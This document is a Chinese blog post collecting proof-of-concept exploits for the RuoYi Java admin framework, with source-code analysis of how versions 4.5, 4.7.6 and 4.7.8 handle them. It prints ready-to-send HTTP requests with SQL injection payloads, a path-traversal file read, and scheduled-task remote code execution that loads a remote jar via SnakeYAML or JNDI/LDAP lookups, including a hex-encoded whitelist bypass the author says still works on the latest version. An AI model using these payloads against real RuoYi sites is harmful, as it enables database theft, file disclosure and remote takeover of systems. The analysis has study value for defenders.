ruoyi漏洞poc汇总及其原理分析(源码分析)

声明:此文章仅做学习,未经授权严禁转载。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者无关

前言

近期在项目测试过程中遇到很多使用若依框架搭建的网站,于是在业余时间根据网上常见若依漏洞对若依代码进行简单的源码分析及学习,了解其漏洞产生的原因,认识一下存在漏洞的代码到底如何进行编写的。文章主要以不同版本漏洞作为出发点来进行源码分析,分析若依框架spring架构、版本选择4.5.0、4.6、4.7.6、4.7.8,目前若依spring架构最新版本4.7.8。同时文章汇集了目前常见的一些若依漏洞poc及漏洞原理,非常具有学习价值。

SQL注入

若依4.5.0

/role/list

payload
POST /system/role/list HTTP/1.1
Host: 192.168.1.150
Content-Length: 193
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.1.150
Referer: http://192.168.1.150/system/role
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=46b6627c-b379-410a-8d01-9e59d264d5c3
Connection: close

pageSize=10&pageNum=1&orderByColumn=roleSort&isAsc=asc&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

在这里插入图片描述

源代码分析

分析4.5版本代码,SysRoleController.java代码中用于处理/system/role相关的请求,漏洞接口调用时会触发如下代码,未进行数据过滤

List<SysRole> list = roleService.selectRoleList(role);最终会到SysRoleMapper.xml文件中进行数据查询操作,而在结尾${params.dataScope}使用了$符号,它与#的区别在于$会将变量拼接到sql语句中进行执行,为不安全操作,而#则会先进行预编译,变量处使用?替代,编译后再将变量插入,从而解决sql注入的问题。显然下面代码是存在sql注入漏洞的。
在这里插入图片描述

若依4.7.6复现

发送源payload后注入不存在,通过查看Mapper文件参数未做更改
在这里插入图片描述
Controller处断点,params.dataScope参数置为null,这里为何为null后面再讲
在这里插入图片描述

system/dept/edit

payload
POST /system/dept/edit HTTP/1.1
Host: 192.168.1.150
Content-Length: 111
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.150
Referer: http://192.168.1.150/system/dept/edit/101
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=46b6627c-b379-410a-8d01-9e59d264d5c3
Connection: close

DeptName=1&DeptId=100&Par![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/092013effc474a0da17db5813fba331d.png)
entId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#

在这里插入图片描述

源代码分析

与/role/list接口类似,下图源码为Sysdpetmapper.xml,同样使用${params.dataScope}$符号进行参数拼接,导致代码存在sql注入
在这里插入图片描述

/system/role/export

payload
POST /system/role/export HTTP/1.1
Host: 192.168.1.150
Content-Length: 75
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.150
Referer: http://192.168.1.150/system/role
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=46b6627c-b379-410a-8d01-9e59d264d5c3
Connection: close

params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

在这里插入图片描述

源代码分析

同上,SysRoleMapper.xml下使用$拼接,不在赘述
在这里插入图片描述

若依4.7.6

上面几个sql注入有个共性点是通过datascope注入的,在4.7.6进行复测,漏洞被修复,对4.7.6版本源码进行分析

源代码分析

用role/list接口举例,在SysRoleController的list方法中接收了role/list接口,调用service进行数据库查询操作,接着进入其实现类SysRoleServiceImpl,注入点为datascope,在下面左侧图中selectRoleList()中存在注解DataScope对注入值做了更改,右侧图中,dobefore()预处理时,调用clearDataScope()方法对DataScope进行处理
在这里插入图片描述
通过代码分析可看到首先获取datascope值,不为空则对将其值置为空,置空前params参数值为sql注入payload
在这里插入图片描述
方法结束回到SysRoleServiceImpl时,datascope值已被置空,注入被修复
在这里插入图片描述
一开始并未发现dobefore()方法中的clearDataScope(),一直认为是框架自带的filter拦截器进行拦截,其在执行前首先会遍历7个拦截器进行过滤,经过进一步分析后,未发现request的post值有变化,直到后来发现clearDataScope()方法的作用
在这里插入图片描述

任意文件读取

/common/download/resource

payload

/common/download/resource?resource=/profile/…/…/…/…/1.txt
在这里插入图片描述

源代码漏洞

由于代码调用substringAfter()函数裁取/profile后的所有内容,未做过滤直接调用writeBytes()导致downloadPath参数可控引发任意文件读取漏洞。下图为CommonController.java文件读取代码
在这里插入图片描述
而在同类的另一个接口common/download的处理中,fileDownload函数由于首先会调用FileUtils.isValidFilename(fileName))检测文件名,过滤一些特殊字符,包括反斜杠,所以无法进行越级目录下载,保证了代码的安全
在这里插入图片描述
下图为isValidFilename函数,过滤通过FILENAME_PATTERN,该值为

//FileUtils.isValidFilename()的内部过滤正则表达式,匹配不到拒绝下载
public static String FILENAME_PATTERN = "[a-zA-Z0-9_\\-\\|\\.\\u4e00-\\u9fa5]+";

在这里插入图片描述

若依4.7.6对比

4.7.6版本中加入了checkAllowDownload()过滤参数,禁止使用…/跨级,设置白名单限制访问的文件类型,漏洞被修复
在这里插入图片描述

/monitor/job/add

payload

修改计划任务内容为如下代码,注意Global要加前缀

com.ruoyi.common.config.Global.setProfile('c://windows/win.ini')

执行后访问接口
http://192.168.1.150/common/download/resource?resource=
profile默认值将会被替换为’c://windows/win.ini’文件,导致任意文件读取
在这里插入图片描述

源代码分析

该漏洞原理是通过计划任务来替换一个全局静态变量profile,该变量值会作为文件下载接口的文件读取路径。payload的作用是调用Global.setProfile(‘c://windows/win.ini’),将profile默认值修改为任意文件目录,当计划任务被执行时,代码运行过程如下

通过图片可以看到profile默认在d:/ruoyi下,执行计划任务后,值被改为c://windows/win.ini文件
访问common/download/resource?resource=
接口时,localpath值通过global获取全局变量,取得值正是c://windows/win.ini

计划任务执行完成后,通过访问/common/download/resource接口,根据调试节点查看,通过Global.getProfile()获取的值已经被计划任务修改,最终可以访问到win.ini文件
在这里插入图片描述

若依4.7.6对比

与4.5不同之处在于profile值为RuoYiConfig,计划任务语句为ruoYiConfig.setProfile(‘c://windows/win.ini’)
在这里插入图片描述
在这里插入图片描述
4.7.6代码中计划任务要修改的类为
在这里插入图片描述

4.7.8对比

在4.7.8新版本中,结尾处追加了违规黑名单类,在检测若果com.ruoyi后,由于RuoYiConfig的包名在Constants.JOB_ERROR_STR的黑名单中,导致被过滤检测,无法绕过在这里插入图片描述
在这里插入图片描述

计划任务RCE

payload

回调payload代码

https://github.com/artsploit/yaml-payload
src/artsploit/AwesomeScriptEngineFactory.java内修改命令执行代码Runtime.getRuntime().exec(“calc”);
根目录yaml-payload-master创建yaml-payload.yml,内容:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://192.168.1.150:8088/yaml-payload.jar"]
  ]]
]

vps执行如下命令对外提供yaml-payload.jar

javac src/artsploit/AwesomeScriptEngineFactory.java  //编译java文件
jar -cvf yaml-payload.jar -C src/ .   //打包成jar包
python3 -m http.server 8088

计划任务添加paylaod:

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.3.3:2333/yaml-payload.jar"]]]]')
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.3.3:2333/yaml-payload.jar"]]]]')"]]]]')
org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://127.0.0.1:1099/refObj')
javax.naming.InitialContext.lookup('ldap://127.0.0.1:9999/#Exploit')

弹框计算器
在这里插入图片描述

源代码分析

调用monitor/job/changeStatus接口时,执行SysjobController中changeStatus()方法并执行SysJobServicesImpl下的resumeJob(),其内部执行
在这里插入图片描述
在这里插入图片描述
在scheduler中有添加的job任务,通过jobkey来标注与获取,调用resumeJob时会根据jobkey,回调AbstractQuartzJob的execute,其中调用QuartzJobExecution中doExecute()方法,最终进行计划任务执行的代码是JobInvokeUtil的invokeMethod方法
在这里插入图片描述
传入计划任务如果为java.lang.xxx.func(‘aaa’)时

  • beanName = “java.lang.xxx”
  • methodName = “func”
  • methodParams = “aaa”
    最后通过下面执行传入的代码
    在这里插入图片描述
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.3.3:2333/yaml-payload.jar"]]]]')

举上面payload为例子,yaml.load会加载一个序列对象javax.script.ScriptEngineManager,而该对象是通过远程jar包中加载,在jar包中创建了javax.script.ScriptEngineManager的子类,并在构造方法中写入命令执行代码,当load加载ScriptEngineManager时,会创建该类,构造方法将被触发,而构造方法内部的代码执行命令则会被自动执行

4.7.6对比

4.7.6版本中对文本内容协议做了校验
在这里插入图片描述
4.7.6计划任务中加入了过滤代码,限制rmi、ldap、https协议的使用,以及加载类
在这里插入图片描述

设置计划任务白名单和违规字符过滤
在这里插入图片描述

计划任务RCE二

payload

path: /monitor/job/add

createBy=admin&jobName=2c2e501b95c3d09398645b256aef0e00&jobGroup=DEFAULT&invokeTarget=genTableServiceImpl.createTable('UPDATE+sys_job+SET+invoke_target+%3D+0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3132372e302e302e313a313338392f646573657269616c4a61636b736f6e2729+WHERE+job_id+%3D+107%3B')&cronExpression=*+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&remark=

其中invoke_target值采用16进制编码绕过其值为

javax.naming.InitialContext.lookup('ldap://127.0.0.1:1389/deserialJackson')

javax.naming.InitialContext.lookup(‘ldap://127.0.0.1:1389/deserialJackson’)
工具类下载路径,并执行一下命令,最终会弹出计算机
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/

java -jar '.\JNDI-Injection-Exploit-Plus-2.4-SNAPSHOT-all.jar' -C calc -A 127.0.0.1

在这里插入图片描述

代码原理

接口在进行添加、编辑计划任务时会对表达式进行过滤,包括对表达式格式、表达式中高危协议、敏感字符串、允许调用的白名单
在这里插入图片描述
其中有个白名单处之所以能绕过是因为ScheduleUtils#whiteList方法传入的第一个参数值genTableServiceImpl类值获取的是类的完整的名称包括包名,而包名包含了com.ruoyi,该类处于白名单中,所以在StringUtil#containsAny中返回值才能为true
如图首先获取传入的计划任务参数值完整包名进行检测
在这里插入图片描述
包名中包含com.ruoyi,符合白名单内容,绕过过滤从而绕过白名单插入恶意命令并执行
在这里插入图片描述
在这里插入图片描述
绕过前面所有的过滤最后执行jobService.updateJob(job),将任务信息添加到数据库中等待被执行

4.7.8对比

在计划任务添加处与4.7.6对比发现,whiteList处有做更改,其在return结果时同时检测白名单内容和恶意字符串,com.ruoyi包名内的类仍可以继续调用,所以该rce未被修复
在这里插入图片描述
在这里插入图片描述

总结

整个过程中分析三个版本4.5、4.7.6、4.7.8三个版本的sql注入漏洞、任意文件读取漏洞、计划任务漏洞,其中4.7.8为目前最新版本、每个漏洞都使用三种不同版本代码进行分析对比,查看漏洞产生的原因,本篇文章内容包括漏洞汇总,源码分析两个特色,分析过程中学习了若依不同版本的代码更迭,同时也了解了一个网站存在漏洞与修复的情况下,后台代码是如何进行编写和检测的,对之后的测试具有很大的参考价值。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

问心彡

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值